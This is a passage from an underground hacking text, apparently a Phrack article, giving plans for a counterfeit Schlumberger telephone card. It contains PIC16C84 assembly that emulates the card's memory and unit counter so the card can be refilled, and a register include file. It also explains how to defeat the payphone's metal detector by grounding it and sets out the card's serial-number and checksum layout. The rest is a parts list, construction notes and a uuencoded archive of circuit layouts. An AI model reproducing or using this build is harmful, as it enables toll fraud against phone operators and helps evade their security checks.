bcf INTCON,GIE ; Disable all interrupts
|
||
movlw 055 ; Magic Number #1 for EEPROM Write
|
||
movwf EECON2 ; Store in EECON2
|
||
movlw 0aa ; Magic Number #2 for EEPROM Write
|
||
movwf EECON2 ; Store in EECON2
|
||
bsf EECON1,WR ; Execute EEPROM Write
|
||
bsf INTCON,GIE ; Enable all interrupts again!
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
goto MAIN ; Program main loop!
|
||
|
||
INTMAIN btfsc INTCON,INTF ; Check for INT Interrupt
|
||
goto INTMAIN2 ; If set, jump to INTMAIN2
|
||
movlw B'00010000' ; Enable INT Interrupt
|
||
movwf INTCON ; Store in INTCON
|
||
return
|
||
|
||
INTMAIN2
|
||
bcf STATUS,RP0 ; Access register bank 0
|
||
bsf PORTA,CRD_DTA ; Set Data Output High
|
||
btfsc PORTB,CRD_RST ; Check if reset is low
|
||
goto NO_RST ; If not, skip reset sequence
|
||
movfw RTCC ; Get RTCC Value
|
||
movwf TEMP4 ; Store in TEMP4
|
||
clrf RTCC ; Clear RTCC
|
||
movlw 055 ; Subtract $55 from TEMP4
|
||
subwf TEMP4,0 ; to check for card reset....
|
||
bnz NO_RST2 ; If not zero, jump to NO_RST
|
||
movlw 02 ; Unused one has $02 in FUSCNT
|
||
movwf FUSCNT ; Store full value in FUSCNT
|
||
bsf EE_FLAG,LSB ; Set EEPROM Write Flag
|
||
NO_RST2 bcf INTCON,INTF ; Clear INT Interrupt Flag
|
||
return ; Mission Accomplished, return to sender
|
||
|
||
NO_RST movfw RTCC ; Get RTCC Value
|
||
movwf BITCNT ; Copy it to BITCNT
|
||
movwf TEMP1 ; Copy it to TEMP1
|
||
movwf TEMP2 ; Copy it to TEMP2
|
||
movlw 060 ; Load W with $60
|
||
subwf TEMP1,0 ; Subtract $60 from TEMP1
|
||
bz CREDIT ; If it is equal to $60
|
||
bc CREDIT ; or greater, then skip to units area
|
||
rrf TEMP2 ; Rotate TEMP2 one step right
|
||
rrf TEMP2 ; Rotate TEMP2 one step right
|
||
rrf TEMP2 ; Rotate TEMP2 one step right
|
||
movlw 0f ; Load W with $f
|
||
andwf TEMP2,1 ; And TEMP2 with W register
|
||
movfw TEMP2 ; Load W with TEMP2
|
||
addlw 0c ; Add W with $0c
|
||
movwf FSR ; Store data address in FSR
|
||
movfw INDIR ; Get data byte pointed at by FSR
|
||
movwf TEMP3 ; Store it in TEMP3
|
||
movlw 07 ; Load W with $07
|
||
andwf TEMP1,1 ; And TEMP1 with $07
|
||
bz NO_ROT ; If result is zero, skip shift loop
|
||
ROTLOOP rlf TEMP3 ; Shift TEMP3 one step left
|
||
decfsz TEMP1,1 ; Decrement TEMP1 until zero
|
||
goto ROTLOOP ; If not zero, repeat until it is!
|
||
NO_ROT btfss TEMP3,MSB ; Check if MSB of TEMP3 is set
|
||
bcf PORTA,CRD_DTA ; Clear Data Output
|
||
bcf INTCON,INTF ; Clear INT Interrupt Flag
|
||
return ; Mission Accomplished, return to sender
|
||
|
||
CREDIT btfss PORTB,CRD_WE ; Check if Card Write Enable is High
|
||
goto NO_WRT ; Abort write operation if not...
|
||
btfss PORTB,CRD_RST ; Check if Card Reset is High
|
||
goto NO_WRT ; Abort write operation if not...
|
||
incf FUSCNT ; Increase used-up units counter
|
||
bsf EE_FLAG,LSB ; Set EEPROM Write-Flag
|
||
bcf INTCON,INTF ; Clear INT Interrupt Flag
|
||
return ; Mission Accomplished, return to sender
|
||
|
||
NO_WRT movlw 060 ; Load W with $60
|
||
subwf BITCNT,1 ; Subtract $60 from BITCNT
|
||
movfw FUSCNT ; Load W with FUSCNT
|
||
subwf BITCNT,1 ; Subtract FUSCNT from BITCNT
|
||
bnc FUSED ; If result is negative, unit is fused
|
||
bcf PORTA,CRD_DTA ; Clear Data Output
|
||
FUSED bcf INTCON,INTF ; Clear INT Interrupt Flag
|
||
return ; Mission Accomplished, return to sender
|
||
|
||
END
|
||
|
||
==============================================================================
|
||
<End of TELECARD.ASM>.
|
||
|
||
<Start of PICREG.EQU>.
|
||
==============================================================================
|
||
|
||
; PIC16Cxx Micro-controller Include File
|
||
|
||
PIC54 equ 0x1ff ; PIC16C54 Reset Vector
|
||
PIC55 equ 0x1ff ; PIC16C55 Reset Vector
|
||
PIC56 equ 0x3ff ; PIC16C56 Reset Vector
|
||
PIC57 equ 0x7ff ; PIC16C57 Reset Vector
|
||
PIC71 equ 0x000 ; PIC16C71 Reset Vector
|
||
PIC84 equ 0x000 ; PIC16C84 Reset Vector
|
||
INTVEC equ 0x004 ; PIC16C71/84 Interrupt Vector
|
||
|
||
INDIR equ 0x000 ; Indirect File Reg Address Register
|
||
RTCC equ 0x001 ; Real Time Clock Counter
|
||
PCL equ 0x002 ; Program Counter Low Byte
|
||
STATUS equ 0x003 ; Status Register
|
||
FSR equ 0x004 ; File Select Register
|
||
PORTA equ 0x005 ; Port A I/O Register
|
||
PORTB equ 0x006 ; Port B I/O Register
|
||
PORTC equ 0x007 ; Port C I/O Register
|
||
ADCON0 equ 0x008 ; PIC16C71 A/D Control Reg 0
|
||
ADRES equ 0x009 ; PIC16C71 A/D Converter Result Register
|
||
EEDATA equ 0x008 ; PIC16C84 EEPROM Data Register
|
||
EEADR equ 0x009 ; PIC16C84 EEPROM Address Register
|
||
PCLATH equ 0x00a ; Program Counter High Bits
|
||
INTCON equ 0x00b ; Interrupt Control Register
|
||
TRISA equ 0x005 ; Port A I/O Direction Register
|
||
TRISB equ 0x006 ; Port B I/O Direction Register
|
||
TRISC equ 0x007 ; Port C I/O Direction Register
|
||
ADCON1 equ 0x008 ; PIC16C71 A/D Control Reg 1
|
||
EECON1 equ 0x008 ; PIC16C84 EEPROM Control Reg. 1
|
||
EECON2 equ 0x009 ; PIC16C84 EEPROM Control Reg. 2
|
||
OPTION equ 0x001 ; Option Register
|
||
|
||
MSB equ 0x007 ; Most-Significant Bit
|
||
LSB equ 0x000 ; Least-Significant Bit
|
||
TRUE equ 1
|
||
YES equ 1
|
||
FALSE equ 0
|
||
NO equ 0
|
||
|
||
; Status Register (f03) Bits
|
||
|
||
CARRY equ 0x000 ; Carry Bit
|
||
C equ 0x000 ; Carry Bit
|
||
DCARRY equ 0x001 ; Digit Carry Bit
|
||
DC equ 0x001 ; Digit Carry Bit
|
||
Z_BIT equ 0x002 ; Zero Bit
|
||
Z equ 0x002 ; Zero Bit
|
||
P_DOWN equ 0x003 ; Power Down Bit
|
||
PD equ 0x003 ; Power Down Bit
|
||
T_OUT equ 0x004 ; Watchdog Time-Out Bit
|
||
TO equ 0x004 ; Watchdog Time-Out Bit
|
||
RP0 equ 0x005 ; Register Page Select 0
|
||
RP1 equ 0x006 ; Register Page Select 1
|
||
IRP equ 0x007 ; Indirect Addressing Reg. Page Sel.
|
||
|
||
; INTCON Register (f0b) Bits
|
||
|
||
RBIF equ 0x000 ; RB Port change interrupt flag
|
||
INTF equ 0x001 ; INT Interrupt Flag
|
||
RTIF equ 0x002 ; RTCC Overflow Interrupt Flag
|
||
RBIE equ 0x003 ; RB Port Ch. Interrupt Enable
|
||
INTE equ 0x004 ; INT Interrupt Enable
|
||
RTIE equ 0x005 ; RTCC Overflow Int. Enable
|
||
ADIE equ 0x006 ; PIC16C71 A/D Int. Enable
|
||
EEIE equ 0x006 ; PIC16C84 EEPROM Write Int. Enable
|
||
GIE equ 0x007 ; Global Interrupt Enable
|
||
|
||
; OPTION Register (f81) Bits
|
||
|
||
PS0 equ 0x000 ; Prescaler Bit 0
|
||
PS1 equ 0x001 ; Prescaler Bit 1
|
||
PS2 equ 0x002 ; Prescaler Bit 2
|
||
PSA equ 0x003 ; Prescaler Assignment Bit
|
||
RTE equ 0x004 ; RTCC Signal Edge Select
|
||
RTS equ 0x005 ; RTCC Signal Source Select
|
||
INTEDG equ 0x006 ; Interrupt Edge Select
|
||
RBPU equ 0x007 ; Port B Pull-up Enable
|
||
|
||
; ADCON0 Register (f08) Bits
|
||
|
||
ADON equ 0x000 ; A/D Converter Power Switch
|
||
ADIF equ 0x001 ; A/D Conversion Interrupt Flag
|
||
ADGO equ 0x002 ; A/D Conversion Start Flag
|
||
CHS0 equ 0x003 ; A/D Converter Channel Select 0
|
||
CHS1 equ 0x004 ; A/D Converter Channel Select 1
|
||
ADCS0 equ 0x006 ; A/D Conversion Clock Select 0
|
||
ADCS1 equ 0x007 ; A/D Conversion Clock Select 0
|
||
|
||
; ADCON1 Register (f88) Bits
|
||
|
||
PCFG0 equ 0x000 ; RA0-RA3 Configuration Bit 0
|
||
PCFG1 equ 0x001 ; RA0-RA3 Configuration Bit 0
|
||
|
||
; EECON1 Register (f88) Bits
|
||
|
||
RD equ 0x000 ; PIC16C84 EEPROM Read Data Flag
|
||
WR equ 0x001 ; PIC16C84 EEPROM Write Data Flag
|
||
WREN equ 0x002 ; PIC16C84 EEPROM Write Enable Flag
|
||
WRERR equ 0x003 ; PIC16C84 EEPROM Write Error Flag
|
||
EEIF equ 0x004 ; PIC16C84 EEPROM Interrupt Flag
|
||
|
||
; Some useful macros...
|
||
|
||
PUSH macro
|
||
movwf TEMP_W
|
||
swapf STATUS,W
|
||
movwf TEMP_S
|
||
endm
|
||
|
||
POP macro
|
||
swapf TEMP_S,W
|
||
movwf STATUS
|
||
swapf TEMP_W
|
||
swapf TEMP_W,W
|
||
endm
|
||
|
||
END
|
||
|
||
==============================================================================
|
||
<End of PICREG.EQU>.
|
||
|
||
The Security System:
|
||
~~~~~~~~~~~~~~~~~~~~
|
||
The security of the Schlumberger card system depends strongly on two
|
||
things: the metal detector in the card reader which senses if there is
|
||
any metal on the card where there shouldn't be any metal. Circuit traces
|
||
on a home built card is definitively made of metal. So, we have to
|
||
figure out a way of getting around this problem... Well, that isn't
|
||
really too hard! They made one really big mistake: If the metal detector
|
||
is grounded, it doesn't work!! If you look at the printout of my layouts
|
||
for this card you'll find one big area of the board that is rectangle
|
||
shaped. In this area you should make a big blob of solder that is
|
||
between 2-3 millimeters high (approximately!). When the card slides into
|
||
the phone, the blob should be touching the metal detector and since the
|
||
blob is connected to ground the detector is also being grounded. The
|
||
phone also counts the number of times the metal detector gets triggered
|
||
by foreign objects in the card reader (Meaning that the phone companies
|
||
security staff can see if someone's attempting to use a fake card that
|
||
doesn't have this counter-measure on it!) and this is of course included
|
||
in the daily service report the phone sends to the central computer.
|
||
|
||
The second security lies in the cards first 12 bytes, it's not just what
|
||
it appears to be: a serial number, it's more than that. Part of the
|
||
first byte is a checksum of the number of 1's in the 11 bytes following
|
||
it. Then byte 2 is always $83, identifying the card as an electronic
|
||
phonecard. Byte 3 and 4 is the number of units on the card: The first
|
||
nibble of byte 3 is always $1 and then in the remaining three nibbles
|
||
the number of units is stored in BCD code, for example $11,$22 means 120
|
||
units (Two units is always fused at the factory as a test, see the text
|
||
by Stephane Bausson!) Then we have 4 bytes of card serial number data, 2
|
||
bytes of card checksum (calculated with a 16 bit key stored in the
|
||
payphone's ROM), 1 byte that is always $11, and then at last, byte 12
|
||
which is the country identifier.
|
||
|
||
The Parts Needed:
|
||
~~~~~~~~~~~~~~~~~
|
||
01 * PIC16C84, 4 MHz version, Surface Mounted (SOIC-18 Package)
|
||
01 * 4 MHz Ceramic Resonator, Surface Mounted
|
||
02 * 22 pF Capacitors, Surface Mounted (Size 1206).
|
||
01 * 0.8mm thick single sided circuit board with P20 photoresist
|
||
|
||
The Construction:
|
||
~~~~~~~~~~~~~~~~~
|
||
Since this project is obviously not intended for the novice in
|
||
electronics I will not go into the basic details of soldering/etching
|
||
circuit boards. If you do not know much of this, ask a friend who does
|
||
for help. If you want to reach me for help, write to Phrack and ask them
|
||
to forward the letter to me as I wish to remain anonymous - This project
|
||
will probably upset a lot of phone companies and last but not least the
|
||
guys at Schlumberger Tech.
|
||
|
||
The UUEncoded Part:
|
||
~~~~~~~~~~~~~~~~~~~
|
||
In this part of the phile you will find circuit board layouts for Tango
|
||
PCB as well as HP LaserJet binary files which will output the layout
|
||
when printed from DOS with the PRINT command.
|
||
|
||
You will also find another version of the source code to use if your PIC
|
||
programmer can't handle the programming of the 64 byte Data EEPROM
|
||
array.
|
||
|
||
<UUEncoded Part Begins Here>.
|
||
------------------------------------------------------------------------------
|
||
|
||
section 1 of uuencode 5.22 of file telecard.zip by R.E.M.
|
||
|
||
begin 644 telecard.zip
|
||
M4$L#!!0````(``Q2,!V^G@!LQ@@``.P@```,````5$5,14-21#$N05--Q5G=
|
||
M<YLZ%G].9O(_G/1VM@_K9L%)D^YD^D`P2;GKV%[LW.P^=620;6TQ4!!QT[]^
|
||
M]8%``NQMLYU;SV0RH//3^=#Y%"?'1PM_,?8`X)4_G\+5>_L2YL])N,G3)"T+
|
||
MN,?;-'\&%^41>-LR1C3-7S'4V)\O&`AF'V:^:U^Z[R\&$'SXZ/V+K?D3=_PP
|
||
M\N`56PJ\NS/OGP\,<G)\#8H6_+]-8482<(J"K),M3BB,24$YE1N,/KGC?X#Z
|
||
MX2^E^&]5S]<0W%CP5PB<"_@@!7/C-/PLD:.%<PCI6`HS0A3!M*19224RD`H9
|
||
M2%OC:2MD@`M,!S!.=V^=D)(G+/&/'G3P5QK^2N$?<T+Q6R]!RQ@/X".I=S$L
|
||
M%#CWC-.:&07GFID*92)_U&5G?;6L4+";;U%.0\[-'PW`'L+RF6*&O7V8NY-%
|
||
M+])^+Y"W98$C*!-""PC3,F'L3XYO_,5>V-\%[(;0FGH\G<YT<IT:">IQFF;@
|
||
M*GK/^W0[=NYZZ9>"WO-FP?1>6@YN8[0^.5YX]S,;^D62-EC@;9;F*'^&.67_
|
||
MUQA^LR5NN`<7[<,-)>Y\#P[OPYU+W,4>W*J-6U2X"XG[]-B+&[;Y/<(</6%P
|
||
MHBC'15%AY_W8+D]G\3!O;7!R?)3FZPHSM"RKV>L:W`W)P!^)"&*$T4XN6!?#
|
||
M@?;7W>3*V"1-5F1=YHB2-!%.5VA[W;RQY,]^8^PS\WEHZ/N(8'S[A$-F<D:X
|
||
M3FG*%_R)K[DK)_R]W&;`%DE"*$$Q^28YYVE)28(-+OYD\8?GZF"?.VJ9:8RR
|
||
MLMA`S^]:6C*O(I<K%:(XKK:]=_R);@2^LD4D85))!HT\1UF:03\'IC,3PF22
|
||
M8[HBN(^:K91Y`JL\W39L_@)AC%$.*Q%+QDE9MF7J0U%.`4G7@%6:"Q,*0<].
|
||
MCI6AE\5*T$MW&@0S2^&=,.1`)2PL4?(9;&Z7.-]%M$]D5\BV0S3<1.D:*-GR
|
||
M-'&T39_BG?`.V[:9F);UI@),9PM_.N$\SJ#`E%EP74C`CHM5+1M*<0,RPS=(
|
||
M(5V;"__57.:8PFP:+,"!1<[($<4PYD)BG=DB\.=.RX(5LPI,%?@05[O#]>9_
|
||
M<;TYP/6FE^LR_*%3L^2I"4RP<+40:4Z-O]?(.'/3&I),O&_1F?(W=#>:?41]
|
||
M,^BJVB#KUH.H6U5E`5(`HO#:"C5#>9XS"OH-5>U494&8I22IS/3CSJT@GN=.
|
||
M)_8@LV'G*MQ!@5#4BLJ:]Y#R87JN=8#1R=$M?R]TKG59]5;VV2;LKT&QB
|
||
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
|
||
